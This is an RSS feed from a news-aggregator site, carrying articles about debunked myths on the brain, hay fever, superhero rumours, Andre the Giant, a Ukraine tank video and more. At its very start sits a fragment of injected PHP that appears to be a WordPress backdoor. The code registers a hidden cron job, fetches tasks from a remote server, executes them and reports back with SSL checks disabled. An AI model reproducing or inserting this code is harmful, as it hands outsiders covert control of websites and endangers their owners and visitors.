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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Debunked – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 18 Sep 2018 04:49:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Debunked – Brief News https://briefnews.eu 32 32 10 Popular Myths About Right Brain Left Brain Debunked https://briefnews.eu/10-popular-myths-about-right-brain-left-brain-debunked/ https://briefnews.eu/10-popular-myths-about-right-brain-left-brain-debunked/#respond Tue, 18 Sep 2018 04:49:15 +0000 http://briefnews.eu/10-popular-myths-about-right-brain-left-brain-debunked/ Want to learn how to master your brain and navigate effortlessly away from the common mix-ups most people have?

Then you’re in the right place.

I’m going to expose the 10 biggest myths about the brain, including ones you hear about being a “right brain or left brain” person.

And for each one, you’ll learn some proven ways to counter them too.

So without further ado, let’s do this!

Myth #1: Believing you’re either a “left or right brain” person

Chances are, once upon a time, during your happy musings on the internet, you came across the idea of the right brain left brain.

This is the myth that you’re either a logical facts driven person (left brain), or you’re a intuitive, arts and imagination type person (right brain).

It’s not true.

Your brain is a very intricate and complex organ. Despite decades of research and study, the brain is something that we still know relatively little about.

Even so, just google “right brain left brain characteristics” and you’re bombarded with pages and pages of results. Each one claiming to tell you which one you are.

This left brain right brain idea originated back in the 1960s, as a result of research done by Roger W. Sperry.((The Nobel Prize: Roger W. Sperry))

It’s well known that the right and left sides of our brains are different, but can we group people into the left brain people and the right brain people? Is it that simple?

A team of neuroscientists at the University of Utah spent two years testing this out, studying over 1,000 people’s brains to see if it was indeed true. What their research revealed, was that both sides were more or less equal in their activity on average.

“Language tends to be on the left, attention more on the right. But people don’t tend to have a stronger left- or right-sided brain network. It seems to be determined more connection by connection.”  – Dr. Jeff Anderson (lead author)((Dr. Jeff Anderson: An Evaluation of the Left-Brain vs. Right-Brain Hypothesis with Resting State Functional Connectivity Magnetic Resonance Imaging))

So be careful when surfing the interwebs. The self proclaimed brain messiah’s aren’t always doing their research, and whilst graphics like above seem cool, they aren’t very accurate. You don’t belong in a box of left brain or right brain.

Lesson:

People aren’t either logical or creative. You can be both.

Don’t limit your thinking and capabilities by believing this myth. You get better at what you work at.

Myth #2: Believing you’re hardwired for happiness

Many people I’ve coached over the years demonstrate this crippling flaw:

We tend to think of our problems, worries, etc. as something unique to us. We mistakenly believe that we are unique in this way.

However, let me reveal something to you having worked with tens of THOUSANDS people from around the world. Something which may surprise you.

Our mental biases and flaws are quite common. We tend to make very similar mistakes.

Instead of personalizing all your problems and over identifying with them. What if you saw the challenges you face as problems created by the brain generally, instead of something you are doing?

Think of it this way:

Imagine you have a faulty mobile phone that can only operate for 2 hours at 100% capacity at a time. Then it needs a short break.

Now, you could view this as a problem with your specific mobile, and get angry and frustrated that you had such bad luck.

Or perhaps, realize the truth.

What if it was just a manufacturing fault? But one you can’t “fix” immediately by going to the Apple Store because it was built two million years ago for a different environment.

Obviously I’m simplifying things a little (Ok, a lot). However the point I’m making is simple:

Your problems aren’t unique. We all suffer from them. So plan for the common pitfalls so you can avoid them.

“We have a two million-year-old brain that isn’t designed to be happy, but to survive.”  — Tony Robbins

As the above quote so beautifully summarizes, your brain is designed to help you to survive first and foremost. This mechanism is both deep and complex.

In my work, we often identify these subconscious patterns and make sure they’re running in alignment to the specific goal you desire to achieve.

Something which most people are totally unaware or uninterested in discovering, so they are doomed to repeat the same mistakes again and again no matter how hard they try.

These “software faults” are ones we all experience from time to time:

  • Not feeling motivated to go to the gym
  • Not feeling confident about starting a new project or idea
  • Being randomly affected by weird moods or feelings

But the difference between those who succeed, and those who dabble and get frustrated is simple:

Working on our weak areas consistently and planning for them.

Lesson:

Think of your brain like an old computer, full of some common bugs and viruses we all contend with.

Accept these flaws, learn about how they manifest themselves for you in particular, then work on improving them so you can perform better.

Myth #3: Believing your personality traits are fixed

You have personality traits (often from childhood) that (for most) won’t change.

But before you get demoralized and reach for that jar of chocolate chip cookies again, that doesn’t mean that you CAN’T change.

It just takes work.

Realistically, most people still won’t change their personalities for two reasons:

  • They like the safe, comfortable option of staying the same (let’s face it – it’s quite easy)
  • They don’t know they can change

Fortunately for you, we’ve already dispelled the idea that you cannot change your personality traits. So you’re immediately ahead of most people.

There are so many different theories and ideas about what your personality is, how we can measure it and how it comes to be.

The general consensus is that it’s shaped in the early years of our lives and (generally) stays stable over time.

The most widely accepted is something known as the “Five Factor Model”, stating that there are five basic personality traits that can define us: openness, conscientiousness, extraversion, agreeableness, and neuroticism.

These traits shape and influence how we react to different experiences and events in our lifetime.

But here’s the thing:

Defining events, traumatic experiences can all trigger changes in who we are, and how we are.

One of the latest study integrating 14 longitudinal studies that gathered information about people’s personalities, found that from the Big Five personality traits — all of them showed major fluctuations across individual participants’ lives.((Eileen Graham: A Coordinated Analysis of Big-Five Trait Change Across 16 Longitudinal Samples))

Lesson:

The best way to think of your personality is like a mould of clay. It’s already in a rough shape, hardening over time. But you can work to change and adjust it.

Myth #4: Believing you only use 10% of your brain

This myth is simply not true. If I cut 90% of your brain out, would you still function?

No!

Imagine that what is known about our brains is like the volume inside a balloon.

Imagine that what is unknown is the infinite space outside of the balloon.

The surface of the balloon, the interface between the known and the unknown, represents questions. The larger the volume inside the balloon, the larger the balloon surface.

The more we know, the more questions we have.

It’s simply not true that we only use 10% of our brains.

What’s more accurate is that we don’t always perform to our maximum mental capacities.

Different factors — motivation, environment, overall health, sleep — all exert different levels of influence on how close to 100% we perform at any given time.

So why does this myth exist? Why is it so appealing?

Probably because of the untapped human potential it implies that we have huge pools of dormant mental powers, which if used, could help us achieve so much more.

Lesson:

We don’t just use 10% of our brains. We use 100% of them.

But not all of us are performing and achieving to our highest standards. Find out what blocks you have and work at improving every day.

Myth #5: Believing that smart people have bigger brains

When it comes to size, we’re obsessed with believing that bigger is better.

The simple fact is that a bigger brain has no ultimate bearing or indication on our intelligence.

A very easy way to debunk this myth is to look at the animal kingdom. A cow has a bigger brain than a chimpanzee. But is it smarter?

A whale or an elephant have a bigger brain than a human. But are they smarter?

Many neuroscientists now agree that it isn’t size, but the complexity of neural connections that truly determine a brain’s capacity and potential.

To translate this, it’s not size that matters most. It’s how efficiently different parts of your brain communicate with each other.

Lesson:

It’s not how big your brain is that matters most, but how well the different parts communicate.

Train your brain to connect different ideas, senses, intelligences together and keep learning everyday.

Myth #6: Believing women and men have different brains

Of all the myths here, this perhaps is one of the most damaging.

It sets you up to behave according to a preconceived idea of how you should or shouldn’t behave based on your sex.

Let’s start with what is true.

Yes, there are some very very minor anatomical differences between male and female brains.

However, this difference has never been linked to a difference in ability. What we do know, is that any distinction which is created is the by product of our own cultural conditioning.

If there is a difference, or inequality, it is one created by our society.

A common misconception is that women do better when you test them accordingly to emotional intelligence and empathy. The anatomy of the brain runs counter to this however.

The hippocampus, associated with memory, is typically larger in women, while the amygdala, involved in emotion, is larger in men, which is quite contrary to the myth.

Lesson:

Your sex does not determine what you are fated to be good or bad at. It’s often the result of our cultural conditioning.

Reflect on your own gender biases and avoid stereotyping yourself or others based on this.

Myth #7: Believing you know what makes you happy

This probably surprised you a little, didn’t it?

Deep breaths. Allow me to explain:

We commonly believe that we know exactly what will make us happy and unhappy.

The truth however is that this isn’t (totally) true. We massively overestimate how happy we think something will make us feel — gifts, promotions, marriages, divorces — you name it.

Even when it comes to money, countless studies have shown that beyond a certain point (around 77,000USD/year), money doesn’t really make us that much happier.

Conversely, the things that we fear and avoid don’t make us as unhappy as we expect.

The commute on a Monday morning is nowhere near as bad as we think, nor is the awkward conversation with an estranged family member or friend.

The most soul crushing tragedies — breakups, losing a loved one — cause us despair and grief, but don’t last as long as we anticipate.

Lesson:

Things are never as bad as they first seem, or as good as they first seem. You’re not that good at predicting how you will feel, or felt about the future or the past.

Myth #8: Believing you lose mental power over time

When we’re young, it’s easier to take risks and try new things to some degree. But as we age, we seek our comfort and routines.

Until eventually, those same patterns and routines become shackles.

Maybe that’s why you haven’t:

  • Stuck to that workout or yoga routine you want to get better at.
  • Finished the book you say you want to write and publish.
  • Started that business idea you’re thinking and talking about so often.

Many people fall into this trap of believing they “lose it” over time, and this mental error quickly sends them on a downward spiral of stagnation and mediocrity.

I want you to realize something:

Your brain and intelligence can get better with age.

So be excited, not demoralized!

It’s well known in business circles for example, that you get better as an entrepreneur as you age. The same is true in so many other fields too.

Of course there are some cognitive skills which decline in efficiency as you age – learning new languages, memorising a list of random words, counting backward by sevens.

But who cares?

Vocabulary, judgement of character, social wisdom, conflict resolution, emotional regulation and finding purpose – these are all skills that matter, which we are proven to get better at over time.

Sounds exciting, doesn’t it?

Well, let me take you a step further.

Not only can you get smarter over time, you can even continue (literally) growing your brain.

A brain which is active, for example learning new languages, trying new skills and hobbies, develops a richer connected network of brain cells. Taking it further, this “brain growth” also helps to prevent dementia and other diseases.

So no, it is not true that your mental decline is inevitable. Quite the opposite, the effects can be stopped and even reversed through mental exercise. The best part is you don’t even need to do it for that long.

In a study of more than 3,000 people aged 65 and over, just 10 hours training over several weeks in memory, problem-solving and decision-making resulted in significant and prolonged increases in cognitive ability.

Lesson:

Spend 10 to 15 minutes daily working on your memory, problem solving and decision making.

One of my favourites (which is a lot of fun) is to play Chess puzzles for free on lichess.com.

Myth #9: Believing there are 5 senses & one measure of intelligence

What if I told you that you don’t have just 5 senses? And school only tested you on one measure of intelligence?

Would you believe me?

A commonly held belief that most of us have is that we have 5 senses and one type of intelligence.

It’s not your fault either, our entire paradigm of education only ever tests us on one “type” of intelligence” – via exams and essays. When in actuality, there are eight types of intelligence.

Just think:

There’s probably a type of intelligence that you may be a genius in, that you were never even tested on in school.

A comforting thought for those of us who didn’t ace every math or english test.

Additionally, there are not just 5 senses. But six more:

  1. Equilibrioception: A sense of balance, otherwise known as your internal GPS.
  2. Proprioception: A sense of where your body parts are and what they’re doing.
  3. Nociception: A sense of pain.
  4. Thermo(re)ception: A sense of temperature.
  5. Chronoception: A sense of the passage of time.
  6. Interoception: A sense of your internal needs, like hunger, thirst, needing to use the bathroom, etc.

The most fascinating part is that when we contrast this to other species, there are so many more senses we don’t have. Bats and dolphins can use sonar to find prey, sharks can sense electrical fields, and birds and turtles can even orient to the earth’s magnetic fields.

If anything, this displays how much more there is to know that we cannot even comprehend.

Here’s a philosophical quote that builds on this idea, from one of my favourite wise men, Sadhguru Jaggi Vasudev:

“You are seeking the infinite through the physical. Can the physical ever become infinite? The physical is finite, always within a finite boundary, it can never be infinite. It’s like you are riding a bullock cart but your destination is the moon, and somebody is saying buy yourself a new whip. If your destination is the moon, you need an appropriate vehicle. So through the physical if you are seeking the infinite, there will only be frustration.”

Lesson:

You are more intelligent than you may know. You have more senses than you know. But equally, there are vast oceans of unknowns too that you can’t comprehend.

Keep expanding and learning constantly, don’t rest on the knowledge you have. Strive to unlearn and learn simultaneously. Stay humble.

Myth #10: Believing your memories are accurate

This last myth is quite mind blowing.

What if I told you that your memories are not real? And that each time you access them, the more distorted they become?

If we just take a glance of the various types of biases that the brain has – there are at least 20!

There’re so many different ways in which the brain we have, has small errors or faults built into it.

And here is just one of them:

Every time you access memories, you project your current feelings and mindset onto that memory. As a result, your memory itself changes.

Mind blowing, right?

But how does this help you?

Well each time you look back on an experience, you are changing it. This means you can’t accurately predict or recall how things really were.

Knowing this, how much more important are those seemingly menial things like:

  • Creating a daily journal of what you are thinking, feeling and planning to look back on later.
  • Keeping clear and up to date records of your workout progression.
  • Tracking your to do lists, goals and plans throughly to keep yourself focused.

Lesson:

You aren’t able to recall things as accurately as you might think. So take diligent notes always in everything you do.

From your feelings, hopes and dreams to your day to day budgeting, to-do lists and more. These written records will help you remember things more accurately!

Have you found yourself understand a lot more about your brain? The most popular myths about left brain and right brain are now busted. It’s your turn to really develop your brain’s potential and don’t get restricted by those myths!

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Hay fever appears every summer, when plants begin to release pollen into the air causing some people to have an allergic reaction.

Hay fever season begins in late March when trees release the substance. At present, through mid-May to July, it is the grass pollen season, when grasses release their pollen into the atmosphere.

Symptoms of the condition include a runny nose, puffy eyes and difficulty breathing.

There are several remedies for hay fever, including making changes to your behaviour on sunny days to minimise your pollen exposure.

Dr Sarah Brewer says that there is “little evidence” to suggest that eating local honey can cure hay fever symptoms.

“There is little evidence on which to draw any firm conclusion,” she writes on her website.

“It does seem that in people with a true pollen allergy, using local honey may reduce hay fever symptoms – at least for birch pollen allergy.

“But local honey probably needs to be taken for at least five months before the pollen season is expected. It may also help to start at low, immunotherapy doses which are slowly increased to help the immune system tolerate them better.”

She mentions that local honey may not be as effective because it contains heavy, flower pollen, rather than the wind dispersed pollen that triggers symptoms.

A study by the University of Connecticut found that eating local honey had no impact on people’s hay fever resistance.

Of the 23 people that completed the study, there was no significant improvement in hay fever symptoms for those taking local honey against those that were not.

However, when the researchers went and tested the volunteers after the study only 14 out of the 23 still had a “true” seasonal pollen allergy. But, this could also be an error as the study used people with “self-diagnosed” pollen allergy.

Writing on mumsnet.com, one user said that local honey has reduced their hay fever symptoms.

“I bought some [local honey] two weeks ago and have been having it on toast for breakfast.

“It’s delicious and my hay fever symptoms have lessened considerably. But, I have noticed that I am slightly worse in the evening so maybe I need a little spoonful at tea-time.”

Other ways to control hay fever include changing your bedding and washing your sheets differently.

You should start washing your sheets more frequently to remove irritants that can cause hay fever.

“The average person washes their bed sheets once every two weeks but in the summer months, twice a month is not enough to keep allergens at bay,” said Sealy UK, a mattress producer.

“In hay fever season consider washing your sheets once a week to keep sheets free of pollen, as well as dust and other particles.”

Your mattress can be one of the “biggest aggregators” of allergy symptoms, according to Sealy UK.

“The average mattress can contain tens and thousands of dust mites and their waste, which are a serious irritant for people with allergies.

“It can be hard to banish dust mites for good, but a high-quality mattress which holds the Allergy UK seal of approval can help.”

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]]> https://briefnews.eu/hay-fever-does-eating-local-honey-really-get-rid-of-symptoms-popular-myth-debunked/feed/ 0 Superhero Bits: A Marvel Promposal, Marvel Stadium, Catwoman Rumors Debunked & More https://briefnews.eu/superhero-bits-a-marvel-promposal-marvel-stadium-catwoman-rumors-debunked-more/ https://briefnews.eu/superhero-bits-a-marvel-promposal-marvel-stadium-catwoman-rumors-debunked-more/#respond Fri, 25 May 2018 09:33:45 +0000 http://briefnews.eu/superhero-bits-a-marvel-promposal-marvel-stadium-catwoman-rumors-debunked-more/ Boss Logic - On the Shoulders of Titans

Did you hear the Catwoman rumor about Birds of Prey that has been debunked? What are some of the deleted scenes and extended credits scenes cut from Deadpool 2? Which part of Justice League apparently wasn’t in Zack Snyder‘s original vision? Did you know a certain cameo in Deadpool 2 has alternate raunchier versions? Did you know the body count in Avengers: Infinity War was once lower? All that and more in this edition of Superhero Bits.

In this new episode of Marvel’s Eat the Universe, you can find out how to make your own cosmic yogurt bowls.

Fantastic Four wasn’t bad enough to stop crew from wearing jackets saying “At least we’re not on Terminator.”

One student created a Marvel promposal by hanging like Spider-Man and duplicating the movie’s kiss.

Avengers: Infinity War is now the highest grossing Marvel Studios movie in China with $ 102 million so far.

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Disney and Pixar’s The Incredibles 2 is tracking for a huge box-office debut of $ 140 million-plus in the US.

GLAAD recently criticized Marvel and DC for not having more prominent, clear LGBT characterization.

Boss Logic created a poster for On the Shoulders of Titans, a coming of age drama with Thanos and Gamora.

Australia now has a stadium named after Marvel following a new deal being struck with The Walt Disney Co.

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]]> https://briefnews.eu/superhero-bits-a-marvel-promposal-marvel-stadium-catwoman-rumors-debunked-more/feed/ 0 Superhero Bits: Deadpool Meets The Proposal, Nightwing Casting Rumor Debunked & More https://briefnews.eu/superhero-bits-deadpool-meets-the-proposal-nightwing-casting-rumor-debunked-more/ https://briefnews.eu/superhero-bits-deadpool-meets-the-proposal-nightwing-casting-rumor-debunked-more/#respond Wed, 16 May 2018 03:21:56 +0000 http://briefnews.eu/superhero-bits-deadpool-meets-the-proposal-nightwing-casting-rumor-debunked-more/ Thanos and Cable Statue Mash-Up

Who is not the front runner to play Nightwing? What is the Rotten Tomatoes score for Deadpool 2? Who has been controlling Stan Lee‘s social media accounts? Have you played the Avengers: Infinity War mash-up with Fortnite before it ends tomorrow? What new characters are coming to the new season of Young Justice? What is Black Panther‘s domestic box office take now? All that and more in this edition of Superhero Bits.

Deadpool gets mashed up with The Proposal, the rom-com starring Ryan Reynolds and Sandra Bullock.

New artwork for the brand new season of Young Justice confirms some new characters coming to the show.

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At the time of this writing Deadpool 2 is sitting with an 84% at Rotten Tomatoes, making it Certified Fresh.

Stephen Amell has confirmed that David Ramsey, who plays John Diggle on Arrow, will direct an episode.

Adult Swim featured a cross-promotion with Carl from Aqua Teen Hunger Force dressed as Deadpool.

Stan Lee recently tweeted that he hasn’t been in control of his Twitter account, but now he apparently is.

A sculptor named Steven Richter, created this sculpture mash-up of Josh Brolin as Cable and Thanos.

Black Panther is still in theaters and is close to hitting the $ 700 million mark at the domestic box office.

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]]> https://briefnews.eu/superhero-bits-deadpool-meets-the-proposal-nightwing-casting-rumor-debunked-more/feed/ 0 The director of HBO’s Andre the Giant documentary explains how he debunked some major myths and got Vince McMahon to cry https://briefnews.eu/the-director-of-hbos-andre-the-giant-documentary-explains-how-he-debunked-some-major-myths-and-got-vince-mcmahon-to-cry/ https://briefnews.eu/the-director-of-hbos-andre-the-giant-documentary-explains-how-he-debunked-some-major-myths-and-got-vince-mcmahon-to-cry/#respond Wed, 11 Apr 2018 13:29:05 +0000 http://briefnews.eu/the-director-of-hbos-andre-the-giant-documentary-explains-how-he-debunked-some-major-myths-and-got-vince-mcmahon-to-cry/ Andre The Giant WWEWWE

Director Jason Hehir spent over a year doing the ultimate deep-dive into the life of legendary professional wrestler Andre the Giant to separate the man from the myth for his HBO documentary.

The journey took Hehir all over the globe and face-to-face with some of the biggest names in wrestling.

Business Insider talked to Hehir to break down some of the biggest revelations, talk  about his emotional encounter with Vince McMahon, and ask why the Samuel Beckett story isn’t in the movie.

Finding Andre’s real hometown.

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Up until the day “Andre the Giant” aired on HBO, the wrestler’s Wikipedia page stated that he was born and raised in Grenoble, France. Like most of the world, whoever contributed that piece to his Wikipedia page thought the hometown given during his introduction to the ring was the truth. But that was just one of many inaccuracies about Andre Roussimoff.

Hehir discovered that Andre was born in Moliens, a small village of 40 people six miles outside of Paris. Andre’s wrestling backstory of him coming from Grenoble was created early in his wrestling career when he was touted by promoters as a friendly lumberjack found in the mountains. 

“The most recognizable town in the Alps to a North American audience was Grenoble because they hosted the Olympics,” Hehir said.

Once Andre’s real hometown was discovered, Hehir and his crew traveled to Moliens with a few pictures of Andre with family friends. 

“We literally went door to door and just walked the streets of that village showing these photos to people via a translator, because the people there spoke zero English,” Hehir said. 


They also found Andre’s two brothers. One let Hehir and his crew into the family’s home where Andre grew up and there they found a treasure trove of old photos and wrestling memorabilia of Andre’s never before seen by the public. They also filmed the giant chair for Andre in the kitchen, which is featured in the documentary. Andre’s mother had it specifically made for him.

“Andre the Giant is a mythical character, but Andre Roussimoff is a mother’s son and she wanted him to be comfortable when he came home,” Hehir said. “She had that made for him. He was still her baby though he could barely fit through the door.”

Vince McMahon’s emotional recollection of Andre.

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One of the most shocking moments of the documentary is toward the end when during an interview with WWE owner Vince McMahon be begins to choke up and hold back tears when talking about how much Andre meant to him and his company (despite the two having a falling out at the end of Andre’s career).

Hehir said that wasn’t the first time McMahon, known for his tough guy swagger, showed a softer side in front of him.


“He got emotional when no cameras were there,” Hehir said. “The first meeting I had with him I mentioned that Andre had a really close relationship with his daughter and he got pretty emotional there.” 

Hehir said that McMahon agreed to do a 45-minute interview for the movie and Hehir could come back later in production to shoot any follow-ups with him. The 45-minute shoot turned into a three-hour interview.

McMahon getting emotional on camera was hard to film, Hehir said.

“Vince seemed to be trying to keep it together and as an interviewer it’s excruciating because your instinct is to turn the camera off,” he said. “But you have a responsibility to the viewer to let them experience this feeling vicariously through the person who knows the subject well, so we included that in the film.”

That was really Hulk Hogan’s handwritten choreographed outline of his WrestleMania III match with Andre.

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For wrestling die hards the recollections by Hulk Hogan of the lead-up to his match with Andre at WrestleMania III are something special. One great detail is him explaining how he wrote out the entire match on a yellow legal pad McMahon gave him when McMahon asked the wrestler how he thought the match should go down. Hogan scripted the entire match, but left how it would end empty for Andre to decide. Andre didn’t reveal the ending until during the match, according to Hogan. 


In the movie, while Hogan is telling the story, there are shots of yellow legal pad sheets with handwriting on them. Hehir said that’s really Hogan’s handwriting of the match.


“That yellow legal pad is crucial to the telling of that story,” he said. “But that has been long crumbled and thrown into the trash. Probably the night of the event. So for months I tried to get Hogan to recreate to the best of his recollection what he wrote down.”


Hehir interviewed Hogan for the movie in April of 2017. He said he finally got the pages from Hogan in the middle of December on the final day they could possibly get it into the movie before handing a finished version over to HBO. 

“When we got it you could feel your heart beat opening the envelope,” Hehir said. “I told Hogan even if he could write a few lines we could shoot them really tight, he ended up writing all those pages you see in the shot — two single-spaced pages. And he wrote it as if he was in the moment, so if you freeze frame it you can see it says something like, ‘Don’t let Andre see this.’”


“Any of us could have written those pages and no one would know whose handwriting it was,” Hehir continued. “But I just thought it would be a cool wink to people who do know this world that they would recognize Hogan’s handwriting.”


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]]> https://briefnews.eu/the-director-of-hbos-andre-the-giant-documentary-explains-how-he-debunked-some-major-myths-and-got-vince-mcmahon-to-cry/feed/ 0 Debunked: How VoA journalist pushed fake news story on ‘Russian tanks crossing into Ukraine’ https://briefnews.eu/debunked-how-voa-journalist-pushed-fake-news-story-on-russian-tanks-crossing-into-ukraine/ https://briefnews.eu/debunked-how-voa-journalist-pushed-fake-news-story-on-russian-tanks-crossing-into-ukraine/#respond Tue, 10 Apr 2018 23:27:52 +0000 http://briefnews.eu/debunked-how-voa-journalist-pushed-fake-news-story-on-russian-tanks-crossing-into-ukraine/

The easily-verifiable false claim by Voice of America journalist that Russian tanks were filmed entering Ukraine was shared thousands of times before being debunked. The journalist, however, refused to issue a retraction.

“Russian tanks passing into #Ukraine – this video taken yesterday, April 7, in a village in Rostov region next to the border between the two countries. Locals say this was a second convoy,” Fatima Tlisova, who works for the Russian service of the US government-funded broadcaster, tweeted on April 8.

Tlisova did not reveal her source for the undated video, which showed several armored vehicles moving through a nondescript village. Nonetheless, despite flimsy evidence to back up the accusation of a foreign invasion, Twitter went into overdrive. Although Tlisova herself has fewer than 5,000 followers on the social network, the message was shared over 2,200 times in a matter of hours.

“How about another round of European sanctions on Putin cronies each time a column of Russian tanks is spotted rolling into #Ukraine? That would help bring an end to this madness,” tweeted Maxim Tucker, a former journalist and current employee of the George Soros-funded Open Society Foundation.

“There should be consequences for any escalation in Ukraine,” boomed former US ambassador to the OSCE Daniel Baer, adding that Vladimir Putin has thrown caution to the wind after already being “in the doghouse” over the alleged poisoning of Sergei Skripal.

The video was also reposted without disclaimers by several  Ukrainian news outlets. 

Only then did the fact-checkers roll in.

Twitter user @obretix, who specializes in analyzing satellite images, matched the rooftops of the houses featured in the footage to the village of Petrovka, located some 40 kilometers from the Russian-Ukrainian border.

This was quickly verified, even by Western sources such as the Atlantic Council’s Digital Forensic Research Lab, and Aric Toler of Bellingcat, the open-source research group that has traditionally been hostile to Moscow’s depiction of its actions on the Ukrainian border.

RT Digital’s Verification Unit conducted its own independent inquiry into the original footage and also pinpointed the location of the convoy to the village of Petrovka, north of Rostov-on-Don. By matching the satellite imagery to the footage, it was easy enough for the team to determine that the military vehicles were moving south, in the opposite direction of the closest border with Ukraine.

For her part, Tlisova refused to issue a retraction, stating in a series of additional tweets that the new information was an “update,” even as it completely changed the substance of the story.

She then complained about personal attacks in direct messages sent to her, claiming that “the trolls are deployed again.”

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]]> https://briefnews.eu/debunked-how-voa-journalist-pushed-fake-news-story-on-russian-tanks-crossing-into-ukraine/feed/ 0 The central argument in the Nunes memo may have just been debunked https://briefnews.eu/the-central-argument-in-the-nunes-memo-may-have-just-been-debunked/ https://briefnews.eu/the-central-argument-in-the-nunes-memo-may-have-just-been-debunked/#respond Sat, 03 Feb 2018 07:02:09 +0000 http://briefnews.eu/the-central-argument-in-the-nunes-memo-may-have-just-been-debunked/ devin nunesPablo Martinez Monsivais/AP

  • The Nunes memo’s claim that the FBI and Department of Justice misled a Foreign Intelligence Surveillance Court when seeking to wiretap Trump campaign adviser Carter Page may have been quashed.
  • Officials familiar with the matter told The Washington Post and The New York Times that the DOJ made it clear to the court that information contained in a dossier they submitted as part of a FISA application to surveil Page was politically motivated.
  • The revelation undercuts the most important claim in Nunes’ memo as he seeks to characterize the FBI and the DOJ as corrupt and biased against President Donald Trump.

The most important claim in a controversial memo released Friday by the House Intelligence Committee — that the FBI and the Department of Justice misled a Foreign Intelligence Surveillance Court (FISC) when they submitted an application to surveil a key Trump campaign adviser — may have just been quashed.

The memo was released as part of an investigation House Intelligence Committee chairman Devin Nunes has been conducting over the past year into what he characterizes as bias and corruption within the FBI and DOJ.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/the-central-argument-in-the-nunes-memo-may-have-just-been-debunked/feed/ 0 ‘Avengers 4’ Director May Have Debunked the Time-Travel Theory https://briefnews.eu/avengers-4-director-may-have-debunked-the-time-travel-theory/ https://briefnews.eu/avengers-4-director-may-have-debunked-the-time-travel-theory/#respond Wed, 24 Jan 2018 15:48:04 +0000 http://briefnews.eu/avengers-4-director-may-have-debunked-the-time-travel-theory/ avengers infinity war breakdown 13

Avengers 4 remains shrouded in mystery, with not even a title to hint at the plot of the climactic comic book movie. So that has left fans picking apart every photo taken from the Atlanta set of the Marvel Studios film for clues. This has helped to spawn a popular time travel theory which suggests that Thanos’ Infinity Gauntlet fractures the Avengers team, sending them spinning off into different timelines.

But a new interview from director Joe Russo, who helms Avengers: Infinity War and Avengers 4 alongside brother Anthony Russo, may just have debunked that time travel theory. 

Russo appeared on MTV‘s Happy Sad Confused podcast, where he was inevitably asked about the leaked Avengers 4 sets photo and admitted that leaks come with the job. But Russo was predictably vague about the rumors springing up around those photos, saying, “It’s interesting because photos always leak, and there’s lots of conjecture about what those photos mean.”

The only hint that Russo would give about the plot to the highly anticipated Avengers 4 is to start looking for clues in different places:

“Certainly, there is a five minute sequence in Civil War around a piece of technology that was laid in for a very specific reason. If you go back and look at that film, you may get a hint as to the direction.”

Russo is most likely pointing to Tony Stark’s “B.A.R.F.” technology (title in progress), which stands for Binary Augmented Retro-Framing. The technology was introduced at the beginning of Captain America: Civil War, where it allowed Tony to re-experience his memories in vivid detail. It even revealed a vulnerable moment of regret in the superhero’s teen life: the last time he saw his parents alive. It acts as the emotional impetus for Tony’s conflict with Steve over the fate of Bucky — though it got more attention for the film’s use of de-aging technology on star Robert Downey Jr., rendered to look like the young star from the ’80s films we first saw him in. But its effects may reach further than we expected when we first saw the tech in Civil War.

In my initial story breaking down the time travel theory, I suggested that B.A.R.F. (ugh, that really needs a new name) could be a possible explanation for the presence of younger superheroes as they were seen in the earlier Marvel films. B.A.R.F. would explain the presence of a clean-shaven Steve Rogers that was spotted on the set of Avengers 4, wearing his Avengers-era suit. And it would explain the eyepatch-less Nick Fury (Samuel L. Jackson) who was recently spotted on set with Cobie Smulders’ Maria Hill.

But this may also be a piece of misdirection from Joe Russo. Marvel is famously tight-lipped about any plot spoilers, so any hints being dropped now should all be taken with a grain of salt.

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A fear of flying, aerophobia, can hinder any traveller wanting to head abroad if they aren’t willing to go on a plane.

Despite flights being much safer than other modes of transportation, many still fear the worst such as the plane crashing.

Christopher Paul Jones, a therapist known as The Breakthrough Expert, helps people get over their fears and phobias, as well as getting himself over his own fear of flying.

He debunks some of the common flight myths in a bid to ease travellers minds, stating: “Once you look at a flying phobia in a rational way and realise that, actually, most of what we believe can be attributed to myth, it might be time to think about working on your phobia.”

Myth 1: Flying is unsafe

Mr Jones explained that “the odds of you actually being involved in an accident when flying is one in eleven million.”

When this is compared to one in 200 for a car accident, it may help those who are scared to put it in perspective.

2017 was actually the safest year in aviation history.

Myth 2: If a plane crashes it’s over

In the unlikely occasion that a plane does crash, it is actually much more likely to be able to survive than people may think.

Mr Jones explained: “You have a 95.7 per cent chance of walking away from a plane crash.”

Myth 3: Plane crashes are common

The reason they are in the news, is because they are so rare. The mysteries of MH370 made the headlines due to how unlikely it was to happen.

“There are 100,000 flights per day, think about that in comparison to how many actual crashes you hear about,” Mr Jones said.

Myth 4: The airline companies aren’t affected if we crash

Some passengers may think that airline companies are less bothered by safety and more so by profits.

Mr Jones refutes this theory, due to the amount it costs the airline in the event of an accident: “The plane that you are flying in alone is worth around £100,000,000 and the compensation that an airline company would need to pay out would also cost millions.”

